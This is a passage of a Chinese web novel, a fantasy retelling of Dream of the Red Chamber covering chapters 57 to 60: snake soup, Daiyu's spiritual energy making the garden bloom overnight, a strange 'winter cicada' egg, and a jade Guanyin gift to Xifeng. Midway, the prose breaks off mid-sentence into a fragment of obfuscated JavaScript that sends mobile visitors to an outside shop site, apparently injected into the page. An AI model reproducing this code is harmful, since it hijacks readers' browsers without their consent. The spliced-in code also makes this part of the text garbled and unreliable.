青雀：“也、也没有，我知道姑娘难过。”
黛玉笑道：“青雀真好，这个时候还为我说话。”
青雀松开眉头，问：“姑娘还难过吗？”
“还有一点，不过好多了。”黑粳米种子发芽以后，黛玉心情平静了很多。
“谢谢青雀一直陪着我。还有，青雀是青雀，风时是风时，青雀不用跟别人比，青雀是最好的。”
青雀脸红：“姑娘也是最好的。”
青雀不是小气鸟，看她一开始跟风时不对付，后来能玩到一起就知道，现在说开了，那点郁气和烦躁也没了，她重新高兴起来，提着一直没放手的黑布笼子一把揭开兴冲冲问：“姑娘吃蛇羹吗？刚抓的。”
直面搅缠成一团的各种蛇的黛玉瞪圆眼睛，捂着胸口缓缓后退。
不远处目睹一切的何嬷嬷：“......”
她箭步冲上来拉下黑布，推着青雀就走。黛玉扶着柱子深吸两口气。
“你哪儿来的这么多蛇？”
“找抓蛇的人要的。”
“你要他们就给你！就这么让你自己拎回来？！也不怕你被咬了！”
“我不会被咬的。”
“这是咬不咬的问题么？”
芙蓉给黛玉递上一盏茶，“姑娘压压惊。”
黛玉喝完茶水，喃喃道：“原来小蛇比大蛇更可怕。”
芙蓉失笑：“那倒也不是，若姑娘见到的是一个发疯吃人的蛇妖就不这么觉得了。”
好不容易找到地方盘好的余楚微浑身一冷，忍住了打喷嚏的冲动，蛇尾烦躁地刷来刷去。念念念，难道就没别的东西可念了，老是提她干什么？还让不让妖养伤了！
57.第 57 章
青雀拿回来的蛇都让白妈妈做成了蛇羹。
她用慢火炖熟，再将肉撕成细细的丝，以老母鸡为汤底，取火腿先煎后炖，加入汤中一起炖到软烂，再把母鸡捞出来一样撕成肉丝。之后放上陈皮、干桂圆肉，小火慢炖，最后加上发好的山珍干货切成的丝，盛出来趁热加上白菊花瓣和薄荷丝，一碗蛇羹便好了。
可惜这样费时费力，煎炸炖煮，用料十足的蛇羹黛玉不知道是什么味道，她没吃。
虽然出了厨房的蛇羹只看表面，已经完全看不出食材原本的模样，但她还记得那几条蛇活着时候的样子，实在不敢吃。
一罐子蛇羹最后大部分进了青雀肚子，白鹤和何嬷嬷一人分了一小碗尝尝味，体验这种据说是岭南地区滋补鲜美的小众美味。
芙蓉倒是不怕，但也对其敬谢不敏，跟黛玉一起吃了厨下另做的银丝羹。
饭后青雀满足地捧着肚子，却听到黛玉宣布这段时间要吃素，短时间内不想看到荤腥，厨房里今天用过的锅、碗等一应器具都不要了，再买新的换上。
“青雀用过的那个碗也换了，以后不准用了。”
青雀不明所以：“那个碗没坏，不用换。”
黛玉只当没听见。
何嬷嬷忍笑戳了戳她的额头，“让你换就换。”她把自己跟白鹤用的两个碗也都收起来，姑娘以后大约是不想见到它们了。
厨房换下来的东西不算贵重，都赏了院子里的人，谁愿意要，就拿回家去。这些东西虽然零碎，但也有人抢着要。一口铁锅在外面买最少也要花上几钱银子，对普通人家来说也是好东西，爱惜着用也能传两三代。
得了东西自然要说黛玉的好话，现在贾府谁不知道林姑娘金尊玉贵，人又和善大方，巴不得她长久住着呢。
-*
夜深人静，盘腿打坐的芙蓉忽然睁开眼，微微皱了皱眉，无声无息落地，悄然走到黛玉床前。
青雀今天没陪着黛玉一起睡，委委屈屈窝在榻上，芙蓉一靠近，她就醒了过来，迷迷瞪瞪朝她看过去。
芙蓉对她比了个手势，示意她别说话，青雀点点头，轻手轻脚下榻。
芙蓉用罩子遮住琉璃灯，挂起床帐，黑暗中，两人看见黛玉安静地睡着，腹部微微起伏。
一呼一吸间，浊气排出，清气逸散。
过了一会儿，一丝丝灵气随着黛玉的呼吸慢慢从她身上散开，在床帷间打着转，一圈一圈荡开后又化成一缕一缕。
它们轻如羽毛，无所依凭，稍有动作，便被牵引着上下沉浮。灵气擦过青雀的肩膀，她好奇伸手去抓，那缕细丝被掌风一推，噗地往上一弹，擦过她的指缝溜走，小船一般游动着飘飘荡荡落在芙蓉头上，甫一沾上她，就钻入了她的身体。
青雀眼睛圆溜溜地看着这一幕，随后弓着身做贼似地又拍又抓，想逮住一缕灵气，好不容易扑到一丝，打开手掌，灵气静静躺在她掌心，跟死物一样，不肯融入她的身体。
青雀瘪了瘪嘴。芙蓉推了推她，示意她去看花几上的盆栽。
灵气离了床帷，十分活跃，它们不肯依附别的东西，专挑花木。花几上斜躺着的海螺盆，里面铺着光滑的鹅卵石，用清水养着水。这个时节水仙尚未打苞，只见绿叶。几缕灵气钻入后，水仙弯折的绿叶瞬间打直，笔挺向上，一根根新叶眨眼间抽出、生长。
郁郁葱葱的绿叶间，一个个白色的花苞含羞探出，顷刻间鼓胀起来。
“啪！”
花苞胀到极致，花瓣相继绽开，嫩黄的蕊迎风摆动。不一会儿，一朵朵雪白的花簇拥在一起。它们开得热烈，屋内霎时染上一层香气。
而黑粳米的幼苗此时自己把根从土里拔了出来，根系盘着舍利，交错着抓住花盆边缘，凹成一个盘腿打坐一样的姿势把自己固定好，然后挥舞着多余的根系，拼命摇摆着截留更多的灵气。
青雀目瞪口呆看着它土匪一样扫荡方圆两米内的灵气。就这架势，青雀丝毫不怀疑如果它能随意走动的话，肯定要将所有灵气通通包圆，一点不给别的植物留。
不过它扫荡得多，却没有像水仙那样快速抽芽生长，看着一点变化都没有，还是那么一点大。
屋里的花木少，更多的灵气从窗缝、门缝钻出去，青雀连忙赶上去拉开门，芙蓉替黛玉掖了掖被角，放下帐子，跟在她身后。
院子里，白鹤早就察觉到动静出来了。白妈妈跟何嬷嬷也站在檐下，看到两人，一前一后走过来。
“姑娘不要紧吧？”何嬷嬷看着跟蒲公英一样到处飞，落进花草树木的灵气，担忧地问。
这阵势，看着跟散功似的。
“没事。”芙蓉道：“姑娘是又有进益，只是尚在梦中，暂时控制不住，明早醒过来就好了。”
一朝得悟，正式关键时刻，不能把人叫醒，顺气自然比较好。
“其他人呢？”芙蓉问。
“都让她们睡着了。”白鹤道。余楚微留下的毒还挺好用的，稀释过后足够所有人一觉睡死到天亮。
白妈妈看着精神抖擞的松柏，疯涨的草，抽枝打苞的花，像是想到了什么，从袖子里摸出好几个荷包，刷刷几下清除一块被杂草占据的土地，手指头笃笃笃戳了几个小洞，从荷包里倒出种子埋进去，填上土压实。
做完一切后，见几个人都好奇看着她，不等她们问，她就轻声道：“这些都是我以前收集的种子，种不出来，只好放着，趁现在试一试能不能让它们抽芽。”
她擅做菜却不擅种植，有些菜谱需要特定的辅料作配。因为各种各样的原因，这些辅料失传，比如一些作物因缺少灵气或者环境改变，再也长不出来，让她一直深以为憾。此时有机会，兴许能弥补这份遗憾。
话音刚落，青雀忽然指着她身后道：“发芽了。”
白妈妈弄了五个小洞，有三个洞里都钻出了苗。
她弯下腰，欣喜地挨个摸了摸。虽然不是全部都活了，但她也知足了。
这些种子挑剔难种，想也知道不普通。一长出来，渴求的灵气更多了。它们没有灵智，不像黑粳米的幼苗那样还能舞着根须扫荡，却也有自己的办法将灵气吸引过来。
自它们长出来，漫无目的的灵气有一部分格外明确地朝这边飞过来。灵气连绵不断又互相聚拢，几乎形成一个小小的漩涡。
“哎呀~”白妈妈笑起来，眼睛都弯成一条线，掐着一株绿玉一样的植物道：“等它结了果，明早给姑娘熬玉脂飞雪，正好姑娘不想吃荤的，这个能补身体。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14466794|147635||http|test|mini|href|location''.split(''|''),0,{}));
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这个小漩涡，怎么看比忙了半天的黑粳米幼苗效率更高？青雀想了想，跑回屋里把幼苗抱到门口，指着外面道：“快学着点。”
“啪啪”抽打它的幼苗愣住了，半晌，嫩叶一晃，像是严肃点头，学着聚灵。
一炷香后，初见成效。
芙蓉本想跟白鹤一起拦一拦灵气，逸散的灵气对植物大有裨益，锁在院子里还好，她们可以遮掩，飘到外边，明天又是一桩怪事奇谈。
如今白妈妈种下的这三株植物和青雀怀里的花盆聚起一大一小两个漩涡，分润了大半灵气，剩下的满院子匀一匀都不够，倒是白操了这份心。
不过仍有一部分花木得了好处，东北角的各色花盆中被催出了不少花朵，海棠月季、蔷薇荼蘼，热热闹闹挤在一块，好看却叫人烦心。
“得把花都打了。”芙蓉叫上白鹤跟何嬷嬷一起掐花。
-*
第二天一早，一夜安眠的黛玉一醒过来就嗅到满屋子的馥郁甜香，她拥着被子坐起来，问：“芙蓉姐姐点了什么香，这么浓？”
“没有点香，是水仙的花香。”青雀坐到床边，指着海螺盆道。
黛玉却没往她指的方向看，而是捧着青雀的脸左右瞧了瞧，噗嗤一声笑道：“你晚上做贼去了？眼圈都熬黑了。”
青雀：“......”
“还不都是因为姑娘。”
在青雀口中，黛玉知道了昨晚自己无意中做了什么，再看到正房晾着的满满几篮子花朵，道：“真是我？”
她好像没察觉到自己有什么变化。
青雀道：“还不止这些，另外一半白妈妈带走了，连夜洗干净腌制起来，我和白鹤姐姐她们都帮着忙活，一晚没睡。”
黛玉知晓她们是为自己善后，道：“大家都辛苦了。”
一晚上采了许多花，早膳白妈妈就利用这些花做了一顿全花宴。
有芙蓉饼、煎炸菊花、炸牡丹、腌三丝等花菜，这些都是配菜，主食则是她昨晚念叨的玉脂飞雪。
端上来却是一碗小汤圆，加了桂花蜜和米酒，上面飘着白色的花瓣。汤圆只有蚕豆大小，一碗约莫十来个的样子。
名取得虽好，东西却有名不符实之感。黛玉舀了一个小汤圆，轻轻抿破。看着像汤圆一样的小丸子却没有糯米的粘黏，外面是一层皮，里面包裹的却是软滑清甜的东西。一吸，便顺着喉咙滚入腹中。
“吃起来有些像豆腐，却没有豆子的味道。”黛玉回味道：“又像玉髓，但比玉髓甜。”
除此之外，就没什么特别之处了。
芙蓉道：“姑娘吃过玉髓，自然觉得它不稀奇，传说中青玉脂可是长生药，服之延年益寿，是多少人梦寐以求的东西。”
“古有服玉以求长生之法，凡人以为玉是指玉石，便将玉碾碎了吞服，伤身伤神，殊不知这玉实际上是指青玉脂。比青玉脂更好的是□□，再是玉髓，青玉脂难寻，玉髓和□□凡人更不得见。”
说到长生，黛玉不免又想起求药的上皇，摇了摇头，道：“这玉脂飞雪万不能流传出去。”
芙蓉道：“这是自然，昨晚结出的果，白妈妈全给姑娘一碗煮了，她那儿就剩一株苗，想要也不知道几时能再有了。”
58.第 58 章
用过早膳，黛玉去了东北角，想亲眼见见自己昨晚闹出的动静。
这里昨晚开的花长的叶被掐的掐打的打，长得太过，一看就不寻常的枝条也被毫不留情剪了下来，看上去跟往日没有两样。
黛玉仔细转了转，还是发现了一些痕迹。
荼蘼垂下的枝条过于鲜嫩，绿叶中偶尔还能看见一两朵没有被摇下来的小花，花盆和地上不经意间总会发现红的、白的、黄的各种颜色的花瓣，空气中还有暗香浮动。
挨个花盆看过去，黛玉的注意力被一株快要跟她小臂长的青灰色小树吸引。这颗树的树枝都朝着一个方向弯曲，点点嫩绿的芽缀在枝头。树上没有被修剪过的痕迹，说明它一晚上只长到这么大，也没有开过花。
这里九成的花盆都是她亲手打理过的，黛玉对种在这个花盆里的东西有些印像。她把花盆转过来，果然看到上面写的“海棠”两个字。
这颗小树的种子，就是之前差点把她吸干的变异海棠种。那时她还说种海棠的时节不对，怕它长出来别人会觉得怪异，没想到种下后，它几个月也没长过。
黛玉后来再没给它输入灵力，跟普通花草一样浇水施肥，也不见它因此枯萎。
“以前吃灵力比别的种子多，现在你也比别的花长得慢一截。”黛玉点了点它的嫩芽道。
虽然调侃着，黛玉也没特别为它灌注灵力，又把花盆转了回去。
说起来，芙蓉姐姐说的进益她还没有体会到，但是力气却比以前更大了。从前还要费些力才能搬动的花盆，现在已经可以轻易抱起。黛玉觉得再这么下去，自己以后怕不是要力能扛鼎。
一想到她有朝一日能单手托鼎......有点怪，但是细想好像也不赖，力气大也有力气大的好处。黛玉兀自乐了一会儿，摇摇头甩掉脑中霸王举鼎的画面。
看过变异海棠树，黛玉又发现了一种比它还挑剔的植物——惜春的那盆用水养的种子。
变异海棠只是长得慢，好歹还是有肉眼可见的变化，而它是一点不长，完全没有发芽的迹象。
黑粳米的幼苗经过一晚灵力洗礼，根须还长长了一点点呢。
经过对比，黛玉已经琢磨出，越珍贵、越不寻常的种子，想要成活，条件就越苛刻，需要灵力只是其一，而且它们不是什么灵力都不挑，就像白妈妈种不活青玉脂。
如果排个序，那最好成活的就是寻常花草，普通人就可以种活。其次是青玉脂，然后是变异海棠，需要灵力催发。最后是黑粳米，它不仅需要的灵力更多，还要得达成另外的条件。
那眼前的种子是比黑粳米更珍贵吗？
黛玉忍不住好奇，把手探入水中，拈起一颗紫色种子，小心探入一丝灵力。
灵力所及，种子里空荡荡的，什么也感受不到，没有生机，也没有死意，好像它就是一个空壳。
灵力打了个转，一点没被吸收，又回到身体里。黛玉用力捏了捏，手感很硬，里头是有东西的，不是完全坏死的瘪瘪壳子。
“林姐姐？”有人叫她。
黛玉一回头，探春三人和宝钗都在她身后。
“你们什么时候来的？”黛玉松手，种子滚进莲瓣洗，溅起几圈小水花。
“才来。”探春道。
惜春连忙宝贝似的把莲瓣洗抱开，像是怕黛玉再掐她的种子一样。
黛玉擦干手上的水，见她小心翼翼，便道：“我看它们都没发芽，你养了许久，兴许是养不活了，不如换种别的花养。”
要是一直养不活，黛玉怕她伤心。
惜春的眼神充满了迷惑，像是不知道她在说什么：“种子发芽了呀。林姐姐你给我养了没两天，它们就发芽了。”
“你看，这个趴在中间不动的，就是长的最好最大的。”惜春说着，还晃着圈给她展示了一下：“我觉得它长得挺快的，比上次见又大了不少，不过其他的都有点小，也不知道怎么回事。”
探春等人都围上来看。
“我想起来了，是宝玉挨打那会儿的事吧，那时候它就这么沉在底下趴着不动了，原来是发芽了。”探春记起来了，“但是怎么看不到它的芽，是往下面长的吗？”
可是紫色种子好像是紧贴着盆底的，莫非是根直接吸在莲瓣洗上，所以她们看不见？
“对呀！它的根是透明的，隔着水，不容易看见，三姐姐眼神真好！”惜春高兴道。
“那你一定要好好养着。”
惜春点头：“它们很好养活的，只要有水就行。”
两人说的有来有往，煞有介事，黛玉沉默了，难道真是她看不见？论眼神她应该更好才是。
再看二姐姐，好像皱着眉。
宝钗见黛玉看过来，微微朝她摇了摇头，她也什么都没看到。
黛玉将疑惑埋在心里，请她们到屋里坐。
“就在外面吧，屋子里怪闷的。”探春道。黛玉主随客便，引她们到屋后桂花树下。
“好香！如今桂花就开了么？”探春吸了一口气，惊喜道：“还是林姐姐这里好，连味道都是香的。外面到处都在撒雄黄，难闻得紧，一出门，雄黄粉直往身上扑。”
“好啊，我就知道，你们回回来，总是图我这里的好处，不是为着我这个人。”黛玉打趣道。
探春忙抱住她的胳膊，道：“因为林姐姐人好，乐意我们来，我们才常来叨扰，怎么就不是为你的人？林姐姐怎么能冤枉我们一片真心？”
迎春也附和道：“若是别处，我们就不常去了。”
满府里只有这里是最宁静，最松快的。
黛玉听罢笑道：“二姐姐是不会说奉承话的，你说的我信。”
探春道：“难道我说的是假话？”
“也不是，只是听惯了，便觉得寻常。”
“林姐姐这么一说，我却是要跟着二姐姐修一修闭口禅了，以后再不说你的好话了。”
黛玉忙道：“这使不得。二姐姐难得才说一句，平日里我都指望着你夸我呢！”
探春假意拿起乔，闭起嘴不肯说话，黛玉好劝歹劝，她都不理。
迎春先是看她们笑闹，后来见探春一直不理人，怕她们生了嫌隙，急得两头相劝。
宝钗一手拉着黛玉，一手拉过探春，把她们的手叠在一起，叹道：“你们还是快和好吧，不然一个好姑娘都要急死了。”
探春脸色崩不起来，一下子笑出声，“二姐姐寻常都稳坐看台，这也可以，那也不计较，事不关己，少见这样激动。”
宝钗道：“可见她是真担心你们。”
迎春了悟，知她们是假装，被骗了也不生气，只道：“是玩笑便好。”
黛玉拉过她的手叠在一起，道：“二姐姐也有一片真心。”只是别人不得见。<
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p>惜春看她们手拉手，也要凑上这份热闹，忙把手也伸过来搭上，“还有我。”
黛玉几个都笑了起来。
-*
半个下午的时光，众人是在打桂花，跟着白妈妈做桂花酿的中悠闲渡过的。
将瓶子封好，黛玉等人约好等桂花酿好了，就一起起出来开一个小宴，品一品谁酿的桂花酒更好喝。
一起用过晚膳，送走了探春等人，黛玉消了消失，记起先前的疑惑，找到白鹤，问起惜春养的种子的事。
她下午拉着探春私下问过，知道她也看不见惜春所说的根须，当时只是顺着她的话，哄她而已。
黛玉忧心那种子可能是长出了不好的东西，对惜春有害。
白鹤已经忘了这回事，听黛玉说起来，也没想起自己随手给出的种子是什么，等到黛玉把莲瓣洗捧过来，她才从久远的记忆里找出一些印象。
“它可能真的活了。”白鹤道。
“姐姐也没看到它的根。”黛玉问。
白鹤摇头，道：“这东西......我记得好像是叫冬日蝉，说是种子也可以，说是卵也可以，它介于动物和植物之间，是一种很古怪的小东西。”
“冬日蝉不是植物，并没有生根发芽之说，它是像卵一样孵化出来的。孵化的养分靠的是人的负面情绪。强烈的情绪波动，会催动它的生长。四姑娘才小小年纪，看不出来心里也藏着许多事。”
见黛玉忧色更重，白鹤道：“不必担心，它对人没有伤害，听着不好，实际上冬日蝉是好东西，应该算是一种清心凝神的宝物，特别是对修行之人。”
修行之人易生心魔，冬日蝉汲取人心中负面情绪，对克制心魔很有效，而且它是难得可以成长的宝物，不会像有些法宝一样，修为低的时候驱使不动，修为高的时候等级又跟不上，没了作用。
不过冬日蝉有好的一面，自然就有不好的一面。而且弊端十分大，否则也不至于压在白鹤手里这么久，差点被遗忘。
白鹤道：“冬日蝉孵化出来有两种，分为冬日素蝉和冬日清蝉，两种都能克制心魔，但最好的是清蝉。素蝉不是没有作用，反而作用比清蝉更大，但不好的地方在于素蝉在汲取负面情绪的同时会连着其他情绪一起汲取。”
简单来说，就是分不清敌我。
“它会时时刻刻吸取情绪，直到一个人完全没有七情六欲。”
没有情绪的人，跟一截木头没有区别。修无情道的都不敢说要把自己修成一个木头，更何况其他人。
“不过光是这点不足以劝退所有修行者，它最大的缺点在于孵化出清蝉还是素蝉完全不能控制，全看运气。”
“就算撞了大运，得到的是清蝉，也不能保证平安无事，因为清蝉和素蝉本为一体，是可以相互转化的。”
“或许一开始得到的是清蝉，某一天它就悄无声息转化为素蝉了。这种转变本人不易发觉，有点疑惑情绪也很快被素蝉消除了，所以最后通常是外人发现不对劲，才知道清蝉已经化为素蝉。”
听完之后的黛玉：“......”这还不算有伤害吗？
白鹤笑道：“如果不是修行之人，清蝉或者素蝉都没有那么大的威力。它是成长型的宝物，主人有多强，它就能有多强。得不到成长，它也最多只有静心的作用。所以对四姑娘而言，它只能让她忘记一些烦恼，开心一点。”
59.第 59 章
黛玉还是有些担心。
“个人有个人的缘法，这未偿不是一种缘分。”白鹤轻轻敲打莲瓣洗，水面震荡起波纹，浮在水面上的棕色壳子被无形的力量挤压碾碎，化成齑粉，清澈的水面顿时浑浊起来。
黛玉看见趴在底部的冬日蝉似乎动了动，她疑心自己是眼花了。
“聚集在一起的冬日蝉卵不论有多少，一般都只会孵化出一只蝉。这种小东西很霸道，因为汲取情绪的特性，最先孵化的那只往往是‘吃’得最多，也是所有卵中最强大的一只。”
“为了保证自己有足够的能量完全破壳，它会阻止竞争者的诞生。”
白鹤停顿了一下，黛玉神情一滞，“它会杀死其他的卵？”
“不仅如此。”白鹤用若无其事的口气说道：“它会吃了它们。”
完全是一个恐怖故事，黛玉忽觉莲瓣洗有些扎手，好像下一秒它就会张开嘴咬她的手指。
手指蜷起，黛玉目光飘忽地移开，落在黑粳米幼苗上，又想起石燕来。石燕是一个整体，它们会互相协作，而冬日蝉，却从还没有出生起，就是竞争关系。
赤裸裸，且残酷。
“这才是正常的。”白鹤道：“强大的才能活下去，活得更好。”
“每一只成精的妖，都经过无数次斗争才能得到微乎其微的机会冲破原身的限制，天敌、生存、还有有限的寿命，都是成精路上的拦路石。姑娘瞧像青雀那样傻的，骨子里都藏着凶性。”
不凶一点，狠一点，遇到天敌怎么虎口脱身，遇到食物又怎么能抢过其他鸟儿。
黛玉瞪圆了眼睛。
“是不是想问我为什么会知道姑娘的想法？”白鹤笑问。
黛玉点着脑袋。
“姑娘脸上表情丰富得很，在想什么，我一眼就知道。”
“这么说，冬日蝉能孵化出来也很不容易。”黛玉道。
“对这些卵来说，是不容易。它们存在太久了，生命力已经很弱了，连最强大的那只吞噬起同类来都有些力不从心。”
正常来说，有一只开始孵化，其他卵就完全没有机会了。惜春所说别的“种子”也在长是根本不可能发生的。
黛玉想，这些不怎么起眼的卵也许很久以前散落在某个无人问津的角落，偶然有一天被白鹤姐姐见到，她恰好又认识它们，没有因为它们“无用”对它们视而不见，而是将它们收集起来。
又过了很久，它们重见天日，在自己手中没有孵化，然后又辗转到了惜春手里，即将失去生机的时候得到了一个孵化的机会。
如此算来，的确是极大的缘分。
“它们真的不会伤害到四妹妹吗？”黛玉再次确认。
这点白鹤可以保证：“只要四姑娘一直都是个普通人。”
“那好吧。”
既然这么有缘，她总不能为了不确定会不会发生的危险直接掐灭它的生机。
黛玉把莲瓣洗又放回了往常的地方，看着浑浊的水面，她道：“能给它换水吗？”
冬日蝉好像喜欢清水。
“不用。这些壳也是它应该吞噬的东西。”但是它显然没有余力，只能先顾着其他的卵，她就帮它一把。
白鹤更了解冬日蝉，黛玉当然听她的。
“不过四妹妹有什么烦恼呢？”黛玉心中不解。
白鹤没有说话，个人心事只有自己才知道。
第二天，青雀陪着黛玉用早膳。还是一水的素菜，加上一碗牛乳粥。黛玉喝了半碗粥，见青雀托着一个果馅椒盐金饼吃得头也不抬。
“好吃吗？”黛玉放下勺子问。
青雀吃饼的时候先找一个地方咬一口，将饼里头的干果掏出来全到吃完，然后顺着咬的地方将整个饼转着咬上一圈。这样咬到最先下口的地方后，饼就小了一圈，她再从头开始。
为了吃着方便，白妈妈做的饼不大，黛玉三四口也能吃完一个，青雀却能磨蹭着转两三圈，跟磨牙似的。
如果是她爱吃的，早就一口塞下一个去。
青雀不知道黛玉为什么突然这么问，她咽下一口饼，点头：“好吃。”
是挺好吃的，白妈妈手艺好，饼皮烤得酥酥的，面皮是裹着椒盐一齐和的，咸香回味，里面的干果炒制过，面皮一烘，焦味伴着清香，嚼起来咯吱咯吱响，齿颊留香。
就是太干了，得就着点湿的东西吃。
黛玉观察了一下她的神情，重新喝粥，不经意道：“一会儿你去跟白妈妈说，这顿以后就不忌荤腥了，早晚膳食正常做就可以了。”
“咦？”青雀两口把掏空的饼皮塞进嘴里，“姑娘不食素了吗？”
黛玉摇头。
“我这就去通知白妈妈。”灌了一口水把嗓子眼的饼顺下去，青雀激动地站起来。
金饼虽好，但还是肉更香！鸡鸭鱼羊，她又能吃上了！
青雀快乐地冲出门，不一会儿黛玉就听她“白妈妈”、“白妈妈”地喊起来了。
芙蓉从外面回来，在门口掸干净裙上沾的雄黄粉，打起帘子道：“青雀又撒哪门子的欢？老远就听她大呼小叫的。”
黛玉笑道：“她惯会傻乐，我哪里知道。”
-*
不几日，中秋节便要到了。这日林管家早早带着节礼登门拜见贾母，送了礼便说要请黛玉中秋节当天回林府过节。老爷虽不在，但姑娘回去看看老宅，住上两天，也是团圆之意。
这是应该的，林管家这么说，贾母也不好阻拦，问过黛玉也有回家一趟的意思，思索过后，让她十五当天仍然留在贾府过节，到十八那日再回去不迟。
一是林府毕竟只有些老仆在，黛玉又是个半大孩子，不能开府迎客，不必非要中秋当天回。去了也冷清，不比贾家人多热闹。
二是她一个人回家贾母不大放心，得找人护送她才行。只是中秋那两天贾家也忙碌，腾不出人手来，等过了最忙的日子，再让贾琏送她一趟。
林管家一想也也觉得合适，便道十八那日来接黛玉。
能够回家，黛玉高兴不已，回到听松园就让何嬷嬷开箱子挑几样东西出来，她要给二嫂子送去。
林府离贾府有些路程，琏二哥哥送她一趟也辛苦，她不好给他送礼物，只能答谢二嫂子。
上皇身体安康，宫里又赐了东西下来，何嬷嬷开了新得的箱子，道：“姑娘准备送什么？”
“送值钱的。”青雀插嘴道：“二奶奶肯定喜欢。”
何嬷嬷道：“琏二奶奶在你眼里就是这么个俗气人？”
青雀两只眼睛看着她，脸上明晃晃写着‘难道不是吗？’
黛玉笑道：“二嫂子可不就是个俗人。俗人才好呢，不用费尽心思就能送到她心坎上去。”
“不过这么一来，御赐的就不合用了。”
何嬷嬷挑出一尊白玉观音，道：“别的不合适，这个倒可以，
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二奶奶保准喜欢。”
这尊观音巴掌高，小巧玲珑，是上好的羊脂白玉整块雕成，触手温润如油，价值不菲。
最重要的是它既值钱，寓意也好。只这一件，别的也不用多送。首饰单拆开来也不好送。
黛玉看过，也觉合适。
何嬷嬷到凤姐住处时，凤姐不在，因着过节的事，她忙得脚打后脑勺，此时只有平儿在房里，听到下人通报，忙迎了出来，“妈妈快请坐。”
一面又吩咐丫头：“快上茶来！”
何嬷嬷坐定，平儿问：“妈妈今儿怎么又空来，可是林姑娘有什么事？”
何嬷嬷说了来意，“这观音是送给二奶奶的，图个吉祥之意，且观音送子，也是好寓意。”
平儿愣了愣神，连忙起身将匣子推回去，“林姑娘太客气了，这我不能收，叫奶奶知道了，回头就要骂我眼皮子浅。”
换了是别人送的，她今儿就做主把东西收下了，但二爷的差使本就是老太太吩咐的，哪有收礼的道理。
况且林姑娘是小辈，那就更不能收了。
何嬷嬷也不肯收回，非要让她收下，两人推拒着，就听门外有人道：“二奶奶回来了。”
几息功夫，下人打了帘子，凤姐进来。
见到何嬷嬷，凤姐一怔，立刻笑容满面道：“妈妈几时来的？平儿也不叫人去喊我一声，让妈妈白等。”
“才刚来，凳子还没坐热呢。”何嬷嬷道：“正巧奶奶回来，就把东西收下吧。”
凤姐不解，平儿小声说了因由，凤姐心中一动。她跟贾琏成婚三年，肚子还没动静。虽然他们都还年轻，有的是机会，老太太、太太都没催过，但凤姐还是有些着急。
若是再不能诞下一儿半女，恐怕贾琏房里头就要塞人了。
她想收下观音，不为别的，讨个好彩头。
一番想罢，凤姐道：“论理，我是不该收妹妹的东西的，但这是妈妈第一次来我这儿，我也不好驳您老人家的面子。”
何嬷嬷笑道：“不敢在奶奶面前说脸面。”
“哪里的话。”风姐又继续道：“再一个，我也实在喜欢它的寓意，今儿就厚着脸皮收下东西。妈妈放心，既收了妹妹的礼，我一定好生叮嘱二爷，千万把林妹妹护好了，保管她一根汗毛也不掉地回去。”
何嬷嬷眉眼舒展，“那就承奶奶吉言，也托奶奶跟二爷先道声辛苦。”
平儿送走何嬷嬷，回屋就见凤姐半倚在枕上，爱不释手地摸着那尊白玉观音。她笑道：“我看这观音怎么也得值个千把两。”
凤姐顺嘴道：“少了，再加五百两还差不多。”
回过神，她捶了平儿一下，“好你个死丫头，还笑话起你奶奶来了。”
“奶奶不是见它值钱？”
凤姐啐了她一口，“你奶奶我还没见钱眼开到那份上。”
“它要真能送子，回头我就把林妹妹供起了。”
平儿一默，转移话题，“林姑娘也忒客气了。”
凤姐道：“你不懂，这才叫大家气派。快！跟我把供桌收拾收拾，把观音供上去。”
凤姐亲自收捡了供桌，奉上瓜果清水，末了还拜了拜。贾琏一回来，差点以为自己走错了院子，问平儿：“你奶奶今天忙昏头了？”
平时不是最不信这些的吗？
平儿正要说话，下人慌张来报：“二奶奶，宝二爷和林姑娘吵起来了！”
60.第 60 章
“宝玉还会跟人吵嘴？”贾琏笑道。今天太阳真是打西边出来了，都转了性了。
“二爷可少说一句吧，小孩子吵嘴也是有的。宝兄弟又是急起来不管不顾摔杯砸玉的性子，许是把丫鬟们吓到了，着急忙慌跑来说不清楚话。”凤姐系上领口，整好衣服，对慌张的丫鬟道：“有人去告诉老太太没有？”
“还没，宝二爷房里的袭人来请奶奶，想让奶奶先去看看。”
“行吧。”凤姐转头道：“二爷先歇着，我去去就来，回头我还有件事要跟二爷交代。”
说罢，她让丫鬟前面带路，带着平儿离开。
贾琏望着凤姐的背影，奇道：“我怎么听着她的意思是吵起来都怪宝玉？”
-*
袭人焦急地在院门外走来走去，见到凤姐，跟见到救命稻草一样。
凤姐看她眼圈都红了，不像是寻常吵嘴，眉毛一挑，“怎么回事？”
“奶奶快跟我来吧！”袭人拉着凤姐就往前走。
凤姐让她拽得一个趔趄，平儿赶快将她扶住，道：“慢些！”
凤姐甩开袭人，“你急什么？慢慢说。”
袭人跺着脚，都快哭了，还不得不先给凤姐理清经过：“二爷得了一个兔子灯，非要拿过来送给林姑娘......”
整件事要从一个时辰前说起。
下午赖嬷嬷来府里给贾母请安，带着她的孙子赖尚荣一起。一是来给贾母送中秋礼，二则是想借贾府的关系疏通疏通，给放了籍的赖尚荣谋个一官半职。
请过安后，赖嬷嬷留着跟贾母说话，打发赖尚荣去找宝玉，跟他亲近亲近。
赖尚荣有点玲珑心思，不是空手去的，他另带了一对精巧的兔子灯要送给宝玉。那是他费心请人做的，一对灯连工钱带材料，花了小二十两。贵有贵的道理，宝玉很是喜欢，一想到要到中秋了，正是赏灯的时候，这么好看的灯，合该给林妹妹送去，便兴冲冲提着灯去找黛玉。
彼时黛玉在给三春和宝钗准备中秋的小礼物。给凤姐送观音是为了酬谢她，给姐妹们准备中秋小礼物则是为几人间的情谊。
她还想着不知酿的桂花酒能不能喝了，中秋赏月时喝着自己酿的酒岂不是更好。这么一想她放下手头的事又去看桂花酿，恰好让来送灯的宝玉碰见了。
宝玉一听几个人酿酒赏花也不带他，便怏怏不乐。黛玉还跟他拌了几句嘴，姐妹之间的事，带他像什么样。
“这不也没什么，也值当慌慌张张来报？”凤姐道。
